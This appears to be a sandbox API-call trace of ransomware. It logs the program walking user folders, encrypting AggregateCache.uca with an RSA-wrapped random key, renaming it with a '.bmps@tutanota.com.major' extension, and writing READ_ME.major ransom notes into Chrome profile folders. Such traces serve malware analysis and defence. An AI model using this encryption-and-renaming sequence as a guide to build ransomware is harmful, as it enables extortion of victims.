lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x29880aef, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f875e8 [0193.451] SetLastError (dwErrCode=0x0) [0193.451] GetLastError () returned 0x0 [0193.451] SetLastError (dwErrCode=0x0) [0193.451] GetLastError () returned 0x0 [0193.451] SetLastError (dwErrCode=0x0) [0193.451] FindNextFileW (in: hFindFile=0x2f875e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x29880aef, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.451] SetLastError (dwErrCode=0x0) [0193.451] GetLastError () returned 0x0 [0193.451] SetLastError (dwErrCode=0x0) [0193.451] GetLastError () returned 0x0 [0193.451] SetLastError (dwErrCode=0x0) [0193.451] FindNextFileW (in: hFindFile=0x2f875e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29880aef, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x29880aef, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x29880aef, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.451] SetLastError (dwErrCode=0x0) [0193.451] GetLastError () returned 0x0 [0193.451] SetLastError (dwErrCode=0x0) [0193.451] SetLastError (dwErrCode=0x0) [0193.451] FindNextFileW (in: hFindFile=0x2f875e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29880aef, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x29880aef, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x29880aef, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.451] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x30deaa8c, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x29880aef, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87328 [0193.452] SetLastError (dwErrCode=0x12) [0193.452] GetLastError () returned 0x12 [0193.452] SetLastError (dwErrCode=0x12) [0193.452] GetLastError () returned 0x12 [0193.452] SetLastError (dwErrCode=0x12) [0193.452] FindNextFileW (in: hFindFile=0x2f87328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x30deaa8c, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x29880aef, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.452] SetLastError (dwErrCode=0x12) [0193.452] GetLastError () returned 0x12 [0193.452] SetLastError (dwErrCode=0x12) [0193.452] GetLastError () returned 0x12 [0193.452] SetLastError (dwErrCode=0x12) [0193.452] FindNextFileW (in: hFindFile=0x2f87328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92842523, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92842523, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe5af4421, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AggregateCache.uca", cAlternateFileName="AGGREG~1.UCA")) returned 1 [0193.452] SetLastError (dwErrCode=0x12) [0193.452] GetLastError () returned 0x12 [0193.452] SetLastError (dwErrCode=0x12) [0193.452] SetLastError (dwErrCode=0x12) [0193.452] FindNextFileW (in: hFindFile=0x2f87328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29880aef, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x29880aef, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x29880aef, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.452] SetLastError (dwErrCode=0x12) [0193.452] GetLastError () returned 0x12 [0193.452] SetLastError (dwErrCode=0x12) [0193.452] GetLastError () returned 0x12 [0193.452] SetLastError (dwErrCode=0x12) [0193.452] FindNextFileW (in: hFindFile=0x2f87328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29880aef, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x29880aef, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x29880aef, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.452] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.453] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\AggregateCache.uca", dwFileAttributes=0x80) returned 1 [0193.453] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\AggregateCache.uca" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistore\\data\\aggregatecache.uca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9fc [0193.453] GetFileSizeEx (in: hFile=0x9fc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4) returned 1 [0193.454] ReadFile (in: hFile=0x9fc, lpBuffer=0x59d1e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x4, lpOverlapped=0x0) returned 1 [0193.454] SetFilePointer (in: hFile=0x9fc, lDistanceToMove=-4, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.454] WriteFile (in: hFile=0x9fc, lpBuffer=0x59d340*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4, lpOverlapped=0x0) returned 1 [0193.455] SetFilePointer (in: hFile=0x9fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4 [0193.455] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.455] WriteFile (in: hFile=0x9fc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.455] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.455] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.455] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.455] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="tNZuOSoIVQQON3jYqYJ4+rEJ5WTjPRGYc5DGngQ2QbdA6RHPFhdQkTSlDKYO3s70\nsQ1HfmRxxBPhwHlTnoQTyLp6qzADXoXCZ77f24n0JIAN3y2QGEG4qRUoo204kN7T\nw3cAB1tnEgGo8MizXzf7Xw1WGJ+MnnWrheAIhQkSHws9qwxjFmszgguAvn+4qqYb\n5SGdCa/p7b/iofQbruWeJ09qL6jEK/C1xkw0OH8mlHf0/PAZWPx+KBF7YODq+3sj\nEfSZeSSA+AK4ajFn0NQR534w/zqbx/2VjlawOaBrW+tNPxSFJ1WV4IZTMCnWo+sW\nwhp7PQ/BqVqB8hxWAPTxSQ==\n", pcchString=0x2e3f9a8) returned 1 [0193.455] WriteFile (in: hFile=0x9fc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.455] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.455] WriteFile (in: hFile=0x9fc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.455] CloseHandle (hObject=0x9fc) returned 1 [0193.455] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\AggregateCache.uca" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistore\\data\\aggregatecache.uca"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\AggregateCache.uca.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistore\\data\\aggregatecache.uca.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.457] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfaa1ab04, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x2abad6fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f876e8 [0193.457] SetLastError (dwErrCode=0x0) [0193.457] GetLastError () returned 0x0 [0193.457] SetLastError (dwErrCode=0x0) [0193.457] GetLastError () returned 0x0 [0193.457] SetLastError (dwErrCode=0x0) [0193.457] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfaa1ab04, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x2abad6fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.457] SetLastError (dwErrCode=0x0) [0193.457] GetLastError () returned 0x0 [0193.458] SetLastError (dwErrCode=0x0) [0193.458] GetLastError () returned 0x0 [0193.458] SetLastError (dwErrCode=0x0) [0193.458] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0193.458] SetLastError (dwErrCode=0x0) [0193.458] GetLastError () returned 0x0 [0193.458] SetLastError (dwErrCode=0x0) [0193.458] SetLastError (dwErrCode=0x0) [0193.458] SetLastError (dwErrCode=0x0) [0193.458] GetLastError () returned 0x0 [0193.458] SetLastError (dwErrCode=0x0) [0193.458] GetLastError () returned 0x0 [0193.458] SetLastError (dwErrCode=0x0) [0193.458] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.459] WriteFile (in: hFile=0xa00, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.460] CloseHandle (hObject=0xa00) returned 1 [0193.460] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0193.460] SetLastError (dwErrCode=0x0) [0193.460] GetLastError () returned 0x0 [0193.460] SetLastError (dwErrCode=0x0) [0193.460] GetLastError () returned 0x0 [0193.460] SetLastError (dwErrCode=0x0) [0193.460] SetLastError (dwErrCode=0x0) [0193.460] GetLastError () returned 0x0 [0193.460] SetLastError (dwErrCode=0x0) [0193.460] SetLastError (dwErrCode=0x0) [0193.460] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.461] WriteFile (in: hFile=0xa00, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.462] CloseHandle (hObject=0xa00) returned 1 [0193.462] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a8a90d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe6ef52bb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe6f1b526, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~2.PMA")) returned 1 [0193.462] SetLastError (dwErrCode=0x0) [0193.462] GetLastError () returned 0x0 [0193.462] SetLastError (dwErrCode=0x0) [0193.462] SetLastError (dwErrCode=0x0) [0193.462] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa82ac98, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa82ac98, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Default", cAlternateFileName="")) returned 1 [0193.462] SetLastError (dwErrCode=0x0) [0193.462] GetLastError () returned 0x0 [0193.462] SetLastError (dwErrCode=0x0) [0193.462] GetLastError () returned 0x0 [0193.462] SetLastError (dwErrCode=0x0) [0193.462] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0193.462] SetLastError (dwErrCode=0x0) [0193.462] GetLastError () returned 0x0 [0193.462] SetLastError (dwErrCode=0x0) [0193.462] SetLastError (dwErrCode=0x0) [0193.462] SetLastError (dwErrCode=0x0) [0193.462] GetLastError () returned 0x0 [0193.462] SetLastError (dwErrCode=0x0) [0193.462] GetLastError () returned 0x0 [0193.463] SetLastError (dwErrCode=0x0) [0193.463] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.464] WriteFile (in: hFile=0xa00, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.465] CloseHandle (hObject=0xa00) returned 1 [0193.465] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5113f4c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0193.465] SetLastError (dwErrCode=0x0) [0193.465] GetLastError () returned 0x0 [0193.465] SetLastError (dwErrCode=0x0) [0193.465] GetLastError () returned 0x0 [0193.465] SetLastError (dwErrCode=0x0) [0193.465] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b9a7a7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa7de7b5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa804a17, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x12408, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0193.465] SetLastError (dwErrCode=0x0) [0193.465] GetLastError () returned 0x0 [0193.465] SetLastError (dwErrCode=0x0) [0193.465] GetLastError () returned 0x0 [0193.465] SetLastError (dwErrCode=0x0) [0193.465] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0193.465] SetLastError (dwErrCode=0x0) [0193.465] GetLastError () returned 0x0 [0193.465] SetLastError (dwErrCode=0x0) [0193.465] GetLastError () returned 0x0 [0193.465] SetLastError (dwErrCode=0x0) [0193.465] SetLastError (dwErrCode=0x0) [0193.466] SetLastError (dwErrCode=0x0) [0193.466] GetLastError () returned 0x0 [0193.466] SetLastError (dwErrCode=0x0) [0193.466] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\origintrials\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.466] WriteFile (in: hFile=0xa00, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.467] CloseHandle (hObject=0xa00) returned 1 [0193.467] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0193.467] SetLastError (dwErrCode=0x0) [0193.467] GetLastError () returned 0x0 [0193.467] SetLastError (dwErrCode=0x0) [0193.467] GetLastError () returned 0x0 [0193.467] SetLastError (dwErrCode=0x0) [0193.467] SetLastError (dwErrCode=0x0) [0193.467] GetLastError () returned 0x0 [0193.467] SetLastError (dwErrCode=0x0) [0193.467] SetLastError (dwErrCode=0x0) [0193.467] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\pepperflash\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.469] WriteFile (in: hFile=0xa00, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.470] CloseHandle (hObject=0xa00) returned 1 [0193.470] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="pnacl", cAlternateFileName="")) returned 1 [0193.470] SetLastError (dwErrCode=0x0) [0193.470] GetLastError () returned 0x0 [0193.470] SetLastError (dwErrCode=0x0) [0193.470] GetLastError () returned 0x0 [0193.470] SetLastError (dwErrCode=0x0) [0193.470] SetLastError (dwErrCode=0x0) [0193.470] GetLastError () returned 0x0 [0193.470] SetLastError (dwErrCode=0x0) [0193.470] SetLastError (dwErrCode=0x0) [0193.470] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\pnacl\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.471] WriteFile (in: hFile=0xa00, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.471] CloseHandle (hObject=0xa00) returned 1 [0193.471] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2abad6fd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abad6fd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.472] SetLastError (dwErrCode=0x0) [0193.472] GetLastError () returned 0x0 [0193.472] SetLastError (dwErrCode=0x0) [0193.472] SetLastError (dwErrCode=0x0) [0193.472] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, 